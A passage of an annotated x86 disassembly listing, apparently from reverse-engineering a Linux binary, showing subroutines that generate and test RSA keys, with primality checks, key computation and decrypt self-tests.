08053f09  6a 02                 push    $0x2
08053f0b  ff 75 0c              pushl   0xc(%ebp)
08053f0e  ff 75 0c              pushl   0xc(%ebp)
08053f11  e8 92 c7 00 00        call    080606a8 <Unknown0306>
08053f16  83 c4 0c              add     $0xc,%esp
08053f19  8d 75 a8              lea     0xffffffa8(%ebp),%esi
08053f1c  56                    push    %esi
08053f1d  ff 75 0c              pushl   0xc(%ebp)
08053f20  53                    push    %ebx
08053f21  e8 da cd 00 00        call    08060d00 <Unknown0316>
08053f26  59                    pop     %ecx
08053f27  5f                    pop     %edi
08053f28  6a 01                 push    $0x1
08053f2a  53                    push    %ebx
08053f2b  e8 40 c9 00 00        call    08060870 <Unknown0309>
08053f30  83 c4 10              add     $0x10,%esp
08053f33  85 c0                 test    %eax,%eax
08053f35  75 d1                 jne     08053f08 <Unknown0089+0x154>
08053f37  52                    push    %edx
08053f38  8d 5d 88              lea     0xffffff88(%ebp),%ebx
08053f3b  53                    push    %ebx
08053f3c  ff 75 0c              pushl   0xc(%ebp)
08053f3f  ff 75 10              pushl   0x10(%ebp)
08053f42  e8 e5 fc ff ff        call    08053c2c <Unknown0088>
08053f47  83 c4 0c              add     $0xc,%esp
08053f4a  ff 75 1c              pushl   0x1c(%ebp)
08053f4d  ff 75 18              pushl   0x18(%ebp)
08053f50  ff 75 14              pushl   0x14(%ebp)
08053f53  e8 d4 fc ff ff        call    08053c2c <Unknown0088>
08053f58  83 c4 0c              add     $0xc,%esp
08053f5b  ff 75 1c              pushl   0x1c(%ebp)
08053f5e  ff 75 18              pushl   0x18(%ebp)
08053f61  ff 75 08              pushl   0x8(%ebp)
08053f64  e8 e7 d8 00 00        call    08061850 <Unknown0325>
08053f69  8d 45 d8              lea     0xffffffd8(%ebp),%eax
08053f6c  89 04 24              mov     %eax,(%esp,1)
08053f6f  e8 8c c8 00 00        call    08060800 <Unknown0307>
08053f74  8d 45 c8              lea     0xffffffc8(%ebp),%eax
08053f77  89 04 24              mov     %eax,(%esp,1)
08053f7a  e8 81 c8 00 00        call    08060800 <Unknown0307>
08053f7f  8d 45 b8              lea     0xffffffb8(%ebp),%eax
08053f82  89 04 24              mov     %eax,(%esp,1)
08053f85  e8 76 c8 00 00        call    08060800 <Unknown0307>
08053f8a  89 34 24              mov     %esi,(%esp,1)
08053f8d  e8 6e c8 00 00        call    08060800 <Unknown0307>
08053f92  8d 45 98              lea     0xffffff98(%ebp),%eax
08053f95  89 04 24              mov     %eax,(%esp,1)
08053f98  e8 63 c8 00 00        call    08060800 <Unknown0307>
08053f9d  89 1c 24              mov     %ebx,(%esp,1)
08053fa0  e8 5b c8 00 00        call    08060800 <Unknown0307>
08053fa5  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08053fa8  5b                    pop     %ebx
08053fa9  5e                    pop     %esi
08053faa  5f                    pop     %edi
08053fab  5d                    pop     %ebp
08053fac  c3                    ret
08053fad  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine #  90 >--------------------<
  ;
08053fb0 <Unknown0090>:
08053fb0  55                    push    %ebp
08053fb1  89 e5                 mov     %esp,%ebp
08053fb3  57                    push    %edi
08053fb4  56                    push    %esi
08053fb5  53                    push    %ebx
08053fb6  83 ec 48              sub     $0x48,%esp
08053fb9  8b 45 08              mov     0x8(%ebp),%eax
08053fbc  83 c0 40              add     $0x40,%eax
08053fbf  50                    push    %eax
```

```
08053fc0  e8 03 d2 00 00        call    080611c8 <Unknown0319>
08053fc5  8b 45 08              mov     0x8(%ebp),%eax
08053fc8  83 c0 34              add     $0x34,%eax
08053fcb  89 04 24              mov     %eax,(%esp,1)
08053fce  e8 f5 d1 00 00        call    080611c8 <Unknown0319>
08053fd3  8b 45 08              mov     0x8(%ebp),%eax
08053fd6  83 c0 10              add     $0x10,%eax
08053fd9  89 04 24              mov     %eax,(%esp,1)
08053fdc  e8 e7 d1 00 00        call    080611c8 <Unknown0319>
08053fe1  8b 45 08              mov     0x8(%ebp),%eax
08053fe4  83 c0 1c              add     $0x1c,%eax
08053fe7  89 04 24              mov     %eax,(%esp,1)
08053fea  e8 d9 d1 00 00        call    080611c8 <Unknown0319>
08053fef  8b 45 08              mov     0x8(%ebp),%eax
08053ff2  83 c0 28              add     $0x28,%eax
08053ff5  89 04 24              mov     %eax,(%esp,1)
08053ff8  e8 cb d1 00 00        call    080611c8 <Unknown0319>
08053ffd  8b 45 08              mov     0x8(%ebp),%eax
08054000  83 c0 04              add     $0x4,%eax
08054003  89 04 24              mov     %eax,(%esp,1)
08054006  e8 bd d1 00 00        call    080611c8 <Unknown0319>
0805400b  8d 45 d8              lea     0xffffffd8(%ebp),%eax
0805400e  89 04 24              mov     %eax,(%esp,1)
08054011  e8 b2 d1 00 00        call    080611c8 <Unknown0319>
08054016  8d 45 c8              lea     0xffffffc8(%ebp),%eax
08054019  89 04 24              mov     %eax,(%esp,1)
0805401c  e8 a7 d1 00 00        call    080611c8 <Unknown0319>
08054021  8b 45 14              mov     0x14(%ebp),%eax
08054024  89 45 c4              mov     %eax,0xffffffc4(%ebp)
08054027  d1 6d c4              shrl    0xffffffc4(%ebp)
0805402a  89 45 c0              mov     %eax,0xffffffc0(%ebp)
0805402d  8b 55 c4              mov     0xffffffc4(%ebp),%edx
08054030  29 55 c0              sub     %edx,0xffffffc0(%ebp)
08054033  83 c4 10              add     $0x10,%esp
08054036  a1 18 7e 07 08        mov     0x8077e18,%eax   ;[in .data] 1 'x1 x0 x0 x0' ""
0805403b  85 c0                 test    %eax,%eax
0805403d  74 16                 je      08054055 <Unknown0090+0xa5>
0805403f  83 ec 08              sub     $0x8,%esp
08054042  68 52 0c 07 08        push    $0x8070c52   ;[in .rodata] 1701733703 'x47 x65 x6e x65' "Generating
                                                       p:  "
08054047  ff 35 0c 9c 07 08     pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                       (Red Hat Linux 7.1 2.96-79)"
0805404d  e8 aa 5c ff ff        call    08049cfc <fprintf>
08054052  83 c4 10              add     $0x10,%esp
08054055  57                    push    %edi
08054056  ff 75 c4              pushl   0xffffffc4(%ebp)
08054059  8b 45 08              mov     0x8(%ebp),%eax
0805405c  ff 75 10              pushl   0x10(%ebp)
0805405f  83 c0 34              add     $0x34,%eax
08054062  50                    push    %eax
08054063  e8 0c f9 ff ff        call    08053974 <Unknown0085>
08054068  83 c4 10              add     $0x10,%esp
0805406b  a1 18 7e 07 08        mov     0x8077e18,%eax   ;[in .data] 1 'x1 x0 x0 x0' ""
08054070  85 c0                 test    %eax,%eax
08054072  74 16                 je      0805408a <Unknown0090+0xda>
08054074  83 ec 08              sub     $0x8,%esp
08054077  68 62 0c 07 08        push    $0x8070c62   ;[in .rodata] 1701733703 'x47 x65 x6e x65' "Generating
                                                       q:  "
0805407c  ff 35 0c 9c 07 08     pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                       (Red Hat Linux 7.1 2.96-79)"
08054082  e8 75 5c ff ff        call    08049cfc <fprintf>
08054087  83 c4 10              add     $0x10,%esp
0805408a  56                    push    %esi
0805408b  ff 75 c0              pushl   0xffffffc0(%ebp)
0805408e  8b 75 08              mov     0x8(%ebp),%esi
08054091  ff 75 10              pushl   0x10(%ebp)
08054094  83 c6 40              add     $0x40,%esi
08054097  56                    push    %esi
08054098  e8 d7 f8 ff ff        call    08053974 <Unknown0085>
0805409d  59                    pop     %ecx
0805409e  5b                    pop     %ebx
0805409f  8b 7d 08              mov     0x8(%ebp),%edi
080540a2  56                    push    %esi
080540a3  83 c7 34              add     $0x34,%edi
080540a6  57                    push    %edi
080540a7  e8 70 c7 00 00        call    0806081c <Unknown0308>
080540ac  83 c4 10              add     $0x10,%esp
080540af  85 c0                 test    %eax,%eax
080540b1  75 21                 jne     080540d4 <Unknown0090+0x124>
080540b3  a1 18 7e 07 08        mov     0x8077e18,%eax   ;[in .data] 1 'x1 x0 x0 x0' ""
080540b8  85 c0                 test    %eax,%eax
080540ba  74 b4                 je      08054070 <Unknown0090+0xc0>
080540bc  83 ec 08              sub     $0x8,%esp
080540bf  68 80 0c 07 08        push    $0x8070c80   ;[in .rodata] 1701733703 'x47 x65 x6e x65' "Generated
```

```
                                                   the same prime twice!"
080540c4  ff 35 0c 9c 07 08    pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
080540ca  e8 2d 5c ff ff       call    08049cfc <fprintf>
080540cf  eb 97                jmp     08054068 <Unknown0090+0xb8>
080540d1  8d 76 00             lea     0x0(%esi),%esi
080540d4  85 c0                test    %eax,%eax
080540d6  7e 22                jle     080540fa <Unknown0090+0x14a>
080540d8  83 ec 08             sub     $0x8,%esp
080540db  57                   push    %edi
080540dc  8d 5d c8             lea     0xffffffc8(%ebp),%ebx
080540df  53                   push    %ebx
080540e0  e8 bb e2 00 00       call    080623a0 <Unknown0333>
080540e5  58                   pop     %eax
080540e6  5a                   pop     %edx
080540e7  56                   push    %esi
080540e8  57                   push    %edi
080540e9  e8 b2 e2 00 00       call    080623a0 <Unknown0333>
080540ee  5a                   pop     %edx
080540ef  59                   pop     %ecx
080540f0  53                   push    %ebx
080540f1  56                   push    %esi
080540f2  e8 a9 e2 00 00       call    080623a0 <Unknown0333>
080540f7  83 c4 10             add     $0x10,%esp
080540fa  50                   push    %eax
080540fb  57                   push    %edi
080540fc  8d 45 c8             lea     0xffffffc8(%ebp),%eax
080540ff  56                   push    %esi
08054100  50                   push    %eax
08054101  89 45 bc             mov     %eax,0xffffffbc(%ebp)
08054104  e8 5f e5 00 00       call    08062668 <Unknown0340>
08054109  83 c4 0c             add     $0xc,%esp
0805410c  6a 0a                push    $0xa
0805410e  8d 55 d8             lea     0xffffffd8(%ebp),%edx
08054111  56                   push    %esi
08054112  52                   push    %edx
08054113  89 55 b8             mov     %edx,0xffffffb8(%ebp)
08054116  e8 a1 c7 00 00       call    080608bc <Unknown0310>
0805411b  59                   pop     %ecx
0805411c  5b                   pop     %ebx
0805411d  ff 75 b8             pushl   0xffffffb8(%ebp)
08054120  ff 75 bc             pushl   0xffffffbc(%ebp)
08054123  e8 f4 c6 00 00       call    0806081c <Unknown0308>
08054128  83 c4 10             add     $0x10,%esp
0805412b  85 c0                test    %eax,%eax
0805412d  79 25                jns     08054154 <Unknown0090+0x1a4>
0805412f  a1 18 7e 07 08       mov     0x8077e18,%eax  ;[in .data] 1 'x1 x0 x0 x0' ""
08054134  85 c0                test    %eax,%eax
08054136  0f 84 34 ff ff ff    je      08054070 <Unknown0090+0xc0>  ;-204 'x34 xff xff xff' "4"
0805413c  83 ec 08             sub     $0x8,%esp
0805413f  68 c0 0c 07 08       push    $0x8070cc0  ;[in .rodata] 543516756 'x54 x68 x65 x20' "The primes
                                                     are too close together."
08054144  ff 35 0c 9c 07 08    pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
0805414a  e8 ad 5b ff ff       call    08049cfc <fprintf>
0805414f  e9 14 ff ff ff       jmp     08054068 <Unknown0090+0xb8>  ;-236 'x14 xff xff xff' ""
08054154  52                   push    %edx
08054155  56                   push    %esi
08054156  57                   push    %edi
08054157  ff 75 bc             pushl   0xffffffbc(%ebp)
0805415a  e8 a1 cb 00 00       call    08060d00 <Unknown0316>
0805415f  5b                   pop     %ebx
08054160  58                   pop     %eax
08054161  6a 01                push    $0x1
08054163  ff 75 bc             pushl   0xffffffbc(%ebp)
08054166  e8 05 c7 00 00       call    08060870 <Unknown0309>
0805416b  83 c4 10             add     $0x10,%esp
0805416e  85 c0                test    %eax,%eax
08054170  74 26                je      08054198 <Unknown0090+0x1e8>
08054172  a1 18 7e 07 08       mov     0x8077e18,%eax  ;[in .data] 1 'x1 x0 x0 x0' ""
08054177  85 c0                test    %eax,%eax
08054179  0f 84 f1 fe ff ff    je      08054070 <Unknown0090+0xc0>  ;-271 'xf1 xfe xff xff' ""
0805417f  83 ec 08             sub     $0x8,%esp
08054182  68 00 0d 07 08       push    $0x8070d00  ;[in .rodata] 543516756 'x54 x68 x65 x20' "The primes
                                                     are not relatively prime!"
08054187  ff 35 0c 9c 07 08    pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
0805418d  e8 6a 5b ff ff       call    08049cfc <fprintf>
08054192  e9 d1 fe ff ff       jmp     08054068 <Unknown0090+0xb8>  ;-303 'xd1 xfe xff xff' ""
08054197  90                   nop
08054198  8b 0d 18 7e 07 08    mov     0x8077e18,%ecx  ;[in .data] 1 'x1 x0 x0 x0' ""
0805419e  85 c9                test    %ecx,%ecx
080541a0  74 16                je      080541b8 <Unknown0090+0x208>
```

```
080541a2  83 ec 08              sub     $0x8,%esp
080541a5  68 26 0d 07 08        push    $0x8070d26   ;[in .rodata] 1886220099 'x43 x6f x6d x70' "Computing
                                                        the keys..."
080541aa  ff 35 0c 9c 07 08     pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
080541b0  e8 47 5b ff ff        call    08049cfc <fprintf>
080541b5  83 c4 10              add     $0x10,%esp
080541b8  52                    push    %edx
080541b9  6a 05                 push    $0x5
080541bb  56                    push    %esi
080541bc  8b 45 08              mov     0x8(%ebp),%eax
080541bf  57                    push    %edi
080541c0  83 c0 28              add     $0x28,%eax
080541c3  50                    push    %eax
080541c4  8b 45 08              mov     0x8(%ebp),%eax
080541c7  83 c0 1c              add     $0x1c,%eax
080541ca  8b 75 08              mov     0x8(%ebp),%esi
080541cd  50                    push    %eax
080541ce  83 c6 10              add     $0x10,%esi
080541d1  8b 5d 08              mov     0x8(%ebp),%ebx
080541d4  56                    push    %esi
080541d5  83 c3 04              add     $0x4,%ebx
080541d8  53                    push    %ebx
080541d9  e8 d6 fb ff ff        call    08053db4 <Unknown0089>
080541de  8b 55 14              mov     0x14(%ebp),%edx
080541e1  8b 45 08              mov     0x8(%ebp),%eax
080541e4  89 10                 mov     %edx,(%eax)
080541e6  83 c4 18              add     $0x18,%esp
080541e9  8b 45 0c              mov     0xc(%ebp),%eax
080541ec  89 10                 mov     %edx,(%eax)
080541ee  53                    push    %ebx
080541ef  89 c3                 mov     %eax,%ebx
080541f1  83 c3 10              add     $0x10,%ebx
080541f4  53                    push    %ebx
080541f5  e8 4a d4 00 00        call    08061644 <Unknown0321>
080541fa  5f                    pop     %edi
080541fb  58                    pop     %eax
080541fc  8b 45 0c              mov     0xc(%ebp),%eax
080541ff  56                    push    %esi
08054200  83 c0 04              add     $0x4,%eax
08054203  50                    push    %eax
08054204  e8 3b d4 00 00        call    08061644 <Unknown0321>
08054209  8b 35 18 7e 07 08     mov     0x8077e18,%esi   ;[in .data] 1 'x1 x0 x0 x0' ""
0805420f  83 c4 10              add     $0x10,%esp
08054212  85 f6                 test    %esi,%esi
08054214  74 16                 je      0805422c <Unknown0090+0x27c>
08054216  83 ec 08              sub     $0x8,%esp
08054219  68 3d 0d 07 08        push    $0x8070d3d   ;[in .rodata] 1953719636 'x54 x65 x73 x74' "Testing the
                                                        keys..."
0805421e  ff 35 0c 9c 07 08     pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
08054224  e8 d3 5a ff ff        call    08049cfc <fprintf>
08054229  83 c4 10              add     $0x10,%esp
0805422c  51                    push    %ecx
0805422d  ff 75 14              pushl   0x14(%ebp)
08054230  ff 75 10              pushl   0x10(%ebp)
08054233  ff 75 b8              pushl   0xffffffb8(%ebp)
08054236  e8 7d f6 ff ff        call    080538b8 <Unknown0084>
0805423b  83 c4 0c              add     $0xc,%esp
0805423e  53                    push    %ebx
0805423f  ff 75 b8              pushl   0xffffffb8(%ebp)
08054242  ff 75 b8              pushl   0xffffffb8(%ebp)
08054245  e8 9a d4 00 00        call    080616e4 <Unknown0323>
0805424a  83 c4 0c              add     $0xc,%esp
0805424d  ff 75 08              pushl   0x8(%ebp)
08054250  ff 75 b8              pushl   0xffffffb8(%ebp)
08054253  ff 75 bc              pushl   0xffffffbc(%ebp)
08054256  e8 6d 01 00 00        call    080543c8 <Unknown0093>
0805425b  83 c4 0c              add     $0xc,%esp
0805425e  ff 75 0c              pushl   0xc(%ebp)
08054261  ff 75 bc              pushl   0xffffffbc(%ebp)
08054264  ff 75 bc              pushl   0xffffffbc(%ebp)
08054267  e8 b8 02 00 00        call    08054524 <Unknown0094>
0805426c  58                    pop     %eax
0805426d  5a                    pop     %edx
0805426e  ff 75 b8              pushl   0xffffffb8(%ebp)
08054271  ff 75 bc              pushl   0xffffffbc(%ebp)
08054274  e8 a3 c5 00 00        call    0806081c <Unknown0308>
08054279  83 c4 10              add     $0x10,%esp
0805427c  85 c0                 test    %eax,%eax
0805427e  74 28                 je      080542a8 <Unknown0090+0x2f8>
08054280  a1 18 7e 07 08        mov     0x8077e18,%eax   ;[in .data] 1 'x1 x0 x0 x0' ""
08054285  85 c0                 test    %eax,%eax
08054287  0f 84 ae fd ff ff     je      0805403b <Unknown0090+0x8b>   ;-594 'xae xfd xff xff' ""
```

```
0805428d  83 ec 08              sub     $0x8,%esp
08054290  68 60 0d 07 08        push    $0x8070d60  ;[in .rodata] 707406378 'x2a x2a x2a x2a' "****
                                                     private+public failed to decrypt."
08054295  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
0805429b  e8 5c 5a ff ff        call    08049cfc <fprintf>
080542a0  e9 8e fd ff ff        jmp     08054033 <Unknown0090+0x83>  ;-626 'x8e xfd xff xff' ""
080542a5  8d 76 00              lea     0x0(%esi),%esi
080542a8  57                    push    %edi
080542a9  ff 75 0c              pushl   0xc(%ebp)
080542ac  ff 75 b8              pushl   0xffffffb8(%ebp)
080542af  ff 75 bc              pushl   0xffffffbc(%ebp)
080542b2  e8 6d 02 00 00        call    08054524 <Unknown0094>
080542b7  83 c4 0c              add     $0xc,%esp
080542ba  ff 75 08              pushl   0x8(%ebp)
080542bd  ff 75 bc              pushl   0xffffffbc(%ebp)
080542c0  ff 75 bc              pushl   0xffffffbc(%ebp)
080542c3  e8 00 01 00 00        call    080543c8 <Unknown0093>
080542c8  5b                    pop     %ebx
080542c9  5e                    pop     %esi
080542ca  ff 75 b8              pushl   0xffffffb8(%ebp)
080542cd  ff 75 bc              pushl   0xffffffbc(%ebp)
080542d0  e8 47 c5 00 00        call    0806081c <Unknown0308>
080542d5  83 c4 10              add     $0x10,%esp
080542d8  85 c0                 test    %eax,%eax
080542da  74 28                 je      08054304 <Unknown0090+0x354>
080542dc  a1 18 7e 07 08        mov     0x8077e18,%eax  ;[in .data] 1 'x1 x0 x0 x0' ""
080542e1  85 c0                 test    %eax,%eax
080542e3  0f 84 52 fd ff ff     je      0805403b <Unknown0090+0x8b>  ;-686 'x52 xfd xff xff' "R"
080542e9  83 ec 08              sub     $0x8,%esp
080542ec  68 a0 0d 07 08        push    $0x8070da0  ;[in .rodata] 707406378 'x2a x2a x2a x2a' "****
                                                     public+private failed to decrypt."
080542f1  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
080542f7  e8 00 5a ff ff        call    08049cfc <fprintf>
080542fc  e9 32 fd ff ff        jmp     08054033 <Unknown0090+0x83>  ;-718 'x32 xfd xff xff' "2"
08054301  8d 76 00              lea     0x0(%esi),%esi
08054304  83 ec 0c              sub     $0xc,%esp
08054307  ff 75 bc              pushl   0xffffffbc(%ebp)
0805430a  e8 f1 c4 00 00        call    08060800 <Unknown0307>
0805430f  59                    pop     %ecx
08054310  ff 75 b8              pushl   0xffffffb8(%ebp)
08054313  e8 e8 c4 00 00        call    08060800 <Unknown0307>
08054318  8b 15 18 7e 07 08     mov     0x8077e18,%edx  ;[in .data] 1 'x1 x0 x0 x0' ""
0805431e  83 c4 10              add     $0x10,%esp
08054321  85 d2                 test    %edx,%edx
08054323  74 16                 je      0805433b <Unknown0090+0x38b>
08054325  83 ec 08              sub     $0x8,%esp
08054328  68 c8 0d 07 08        push    $0x8070dc8  ;[in .rodata] 544826699 'x4b x65 x79 x20' "Key
                                                     generation complete."
0805432d  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
08054333  e8 c4 59 ff ff        call    08049cfc <fprintf>
08054338  83 c4 10              add     $0x10,%esp
0805433b  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805433e  5b                    pop     %ebx
0805433f  5e                    pop     %esi
08054340  5f                    pop     %edi
08054341  5d                    pop     %ebp
08054342  c3                    ret
08054343  90                    nop


  ;
  ; >---------------------<  Subroutine #  91 >---------------------<
  ;
08054344 <Unknown0091>:
08054344  55                    push    %ebp
08054345  89 e5                 mov     %esp,%ebp
08054347  53                    push    %ebx
08054348  83 ec 10              sub     $0x10,%esp
0805434b  8b 5d 08              mov     0x8(%ebp),%ebx
0805434e  8d 43 04              lea     0x4(%ebx),%eax
08054351  c7 03 00 00 00 00     movl    $0x0,(%ebx)  ;0 'x0 x0 x0 x0' ""
08054357  50                    push    %eax
08054358  e8 a3 c4 00 00        call    08060800 <Unknown0307>
0805435d  8d 43 10              lea     0x10(%ebx),%eax
08054360  89 04 24              mov     %eax,(%esp,1)
08054363  e8 98 c4 00 00        call    08060800 <Unknown0307>
08054368  8d 43 1c              lea     0x1c(%ebx),%eax
0805436b  89 04 24              mov     %eax,(%esp,1)
0805436e  e8 8d c4 00 00        call    08060800 <Unknown0307>
08054373  8d 43 28              lea     0x28(%ebx),%eax
08054376  89 04 24              mov     %eax,(%esp,1)
```

```
08054379   e8 82 c4 00 00          call     08060800 <Unknown0307>
0805437e   8d 43 34                lea      0x34(%ebx),%eax
08054381   89 04 24                mov      %eax,(%esp,1)
08054384   e8 77 c4 00 00          call     08060800 <Unknown0307>
08054389   83 c3 40                add      $0x40,%ebx
0805438c   89 5d 08                mov      %ebx,0x8(%ebp)
0805438f   83 c4 10                add      $0x10,%esp
08054392   8b 5d fc                mov      0xfffffffc(%ebp),%ebx
08054395   c9                      leave
08054396   e9 65 c4 00 00          jmp      08060800 <Unknown0307>   ;50277 'x65 xc4 x0 x0' "e"
0805439b   90                      nop


  ;
  ; >--------------------<  Subroutine #  92 >--------------------<
  ;
0805439c <Unknown0092>:
0805439c   55                      push     %ebp
0805439d   89 e5                   mov      %esp,%ebp
0805439f   53                      push     %ebx
080543a0   83 ec 10                sub      $0x10,%esp
080543a3   8b 5d 08                mov      0x8(%ebp),%ebx
080543a6   8d 43 04                lea      0x4(%ebx),%eax
080543a9   c7 03 00 00 00 00       movl     $0x0,(%ebx)   ;0 'x0 x0 x0 x0' ""
080543af   50                      push     %eax
080543b0   e8 4b c4 00 00          call     08060800 <Unknown0307>
080543b5   83 c3 10                add      $0x10,%ebx
080543b8   89 5d 08                mov      %ebx,0x8(%ebp)
080543bb   83 c4 10                add      $0x10,%esp
080543be   8b 5d fc                mov      0xfffffffc(%ebp),%ebx
080543c1   c9                      leave
080543c2   e9 39 c4 00 00          jmp      08060800 <Unknown0307>   ;50233 'x39 xc4 x0 x0' "9"
080543c7   90                      nop


  ;
  ; >--------------------<  Subroutine #  93 >--------------------<
  ;
080543c8 <Unknown0093>:
080543c8   55                      push     %ebp
080543c9   89 e5                   mov      %esp,%ebp
080543cb   57                      push     %edi
080543cc   56                      push     %esi
080543cd   53                      push     %ebx
080543ce   81 ec 88 00 00 00       sub      $0x88,%esp   ;136 'x88 x0 x0 x0' ""
080543d4   8d 45 d8                lea      0xffffffd8(%ebp),%eax
080543d7   50                      push     %eax
080543d8   89 45 94                mov      %eax,0xffffff94(%ebp)
080543db   e8 e8 cd 00 00          call     080611c8 <Unknown0319>
080543e0   8d 45 c8                lea      0xffffffc8(%ebp),%eax
080543e3   89 04 24                mov      %eax,(%esp,1)
080543e6   89 45 90                mov      %eax,0xffffff90(%ebp)
080543e9   e8 da cd 00 00          call     080611c8 <Unknown0319>
080543ee   8d 45 b8                lea      0xffffffb8(%ebp),%eax
080543f1   89 04 24                mov      %eax,(%esp,1)
080543f4   89 45 8c                mov      %eax,0xffffff8c(%ebp)
080543f7   e8 cc cd 00 00          call     080611c8 <Unknown0319>
080543fc   8d 45 a8                lea      0xffffffa8(%ebp),%eax
080543ff   8d 5d 98                lea      0xffffff98(%ebp),%ebx
08054402   89 45 88                mov      %eax,0xffffff88(%ebp)
08054405   89 04 24                mov      %eax,(%esp,1)
08054408   e8 bb cd 00 00          call     080611c8 <Unknown0319>
0805440d   89 1c 24                mov      %ebx,(%esp,1)
08054410   e8 b3 cd 00 00          call     080611c8 <Unknown0319>
08054415   83 c4 0c                add      $0xc,%esp
08054418   8b 45 10                mov      0x10(%ebp),%eax
0805441b   83 c0 34                add      $0x34,%eax
0805441e   6a 01                   push     $0x1
08054420   50                      push     %eax
08054421   89 45 84                mov      %eax,0xffffff84(%ebp)
08054424   ff 75 94                pushl    0xffffff94(%ebp)
08054427   e8 c4 e4 00 00          call     080628f0 <Unknown0341>
0805442c   83 c4 0c                add      $0xc,%esp
0805442f   8b 7d 10                mov      0x10(%ebp),%edi
08054432   ff 75 94                pushl    0xffffff94(%ebp)
08054435   83 c7 1c                add      $0x1c,%edi
08054438   57                      push     %edi
08054439   ff 75 94                pushl    0xffffff94(%ebp)
0805443c   e8 a3 d2 00 00          call     080616e4 <Unknown0323>
08054441   83 c4 0c                add      $0xc,%esp
08054444   8b 75 10                mov      0x10(%ebp),%esi
08054447   83 c6 40                add      $0x40,%esi
0805444a   6a 01                   push     $0x1
0805444c   56                      push     %esi
```

```
0805444d  ff 75 90           pushl  0xffffff90(%ebp)
08054450  e8 9b e4 00 00     call   080628f0 <Unknown0341>
08054455  83 c4 0c           add    $0xc,%esp
08054458  ff 75 90           pushl  0xffffff90(%ebp)
0805445b  57                 push   %edi
0805445c  ff 75 90           pushl  0xffffff90(%ebp)
0805445f  e8 80 d2 00 00     call   080616e4 <Unknown0323>
08054464  83 c4 0c           add    $0xc,%esp
08054467  ff 75 84           pushl  0xffffff84(%ebp)
0805446a  ff 75 0c           pushl  0xc(%ebp)
0805446d  ff 75 8c           pushl  0xffffff8c(%ebp)
08054470  e8 6f d2 00 00     call   080616e4 <Unknown0323>
08054475  ff 75 84           pushl  0xffffff84(%ebp)
08054478  ff 75 94           pushl  0xffffff94(%ebp)
0805447b  ff 75 8c           pushl  0xffffff8c(%ebp)
0805447e  ff 75 8c           pushl  0xffffff8c(%ebp)
08054481  e8 86 d6 00 00     call   08061b0c <Unknown0327>
08054486  83 c4 1c           add    $0x1c,%esp
08054489  56                 push   %esi
0805448a  ff 75 0c           pushl  0xc(%ebp)
0805448d  ff 75 88           pushl  0xffffff88(%ebp)
08054490  e8 4f d2 00 00     call   080616e4 <Unknown0323>
08054495  56                 push   %esi
08054496  ff 75 90           pushl  0xffffff90(%ebp)
08054499  ff 75 88           pushl  0xffffff88(%ebp)
0805449c  ff 75 88           pushl  0xffffff88(%ebp)
0805449f  e8 68 d6 00 00     call   08061b0c <Unknown0327>
080544a4  83 c4 1c           add    $0x1c,%esp
080544a7  ff 75 8c           pushl  0xffffff8c(%ebp)
080544aa  ff 75 88           pushl  0xffffff88(%ebp)
080544ad  53                 push   %ebx
080544ae  e8 b5 e1 00 00     call   08062668 <Unknown0340>
080544b3  8b 45 10           mov    0x10(%ebp),%eax
080544b6  83 c0 28           add    $0x28,%eax
080544b9  83 c4 0c           add    $0xc,%esp
080544bc  50                 push   %eax
080544bd  53                 push   %ebx
080544be  53                 push   %ebx
080544bf  e8 8c d3 00 00     call   08061850 <Unknown0325>
080544c4  83 c4 0c           add    $0xc,%esp
080544c7  56                 push   %esi
080544c8  53                 push   %ebx
080544c9  53                 push   %ebx
080544ca  e8 61 c7 00 00     call   08060c30 <Unknown0314>
080544cf  83 c4 0c           add    $0xc,%esp
080544d2  53                 push   %ebx
080544d3  ff 75 84           pushl  0xffffff84(%ebp)
080544d6  ff 75 08           pushl  0x8(%ebp)
080544d9  e8 72 d3 00 00     call   08061850 <Unknown0325>
080544de  83 c4 0c           add    $0xc,%esp
080544e1  ff 75 8c           pushl  0xffffff8c(%ebp)
080544e4  ff 75 08           pushl  0x8(%ebp)
080544e7  ff 75 08           pushl  0x8(%ebp)
080544ea  e8 31 bf 00 00     call   08060420 <Unknown0305>
080544ef  5e                 pop    %esi
080544f0  ff 75 94           pushl  0xffffff94(%ebp)
080544f3  e8 08 c3 00 00     call   08060800 <Unknown0307>
080544f8  59                 pop    %ecx
080544f9  ff 75 90           pushl  0xffffff90(%ebp)
080544fc  e8 ff c2 00 00     call   08060800 <Unknown0307>
08054501  5a                 pop    %edx
08054502  ff 75 8c           pushl  0xffffff8c(%ebp)
08054505  e8 f6 c2 00 00     call   08060800 <Unknown0307>
0805450a  58                 pop    %eax
0805450b  ff 75 88           pushl  0xffffff88(%ebp)
0805450e  e8 ed c2 00 00     call   08060800 <Unknown0307>
08054513  89 1c 24           mov    %ebx,(%esp,1)
08054516  e8 e5 c2 00 00     call   08060800 <Unknown0307>
0805451b  8d 65 f4           lea    0xfffffff4(%ebp),%esp
0805451e  5b                 pop    %ebx
0805451f  5e                 pop    %esi
08054520  5f                 pop    %edi
08054521  5d                 pop    %ebp
08054522  c3                 ret
08054523  90                 nop


  ;
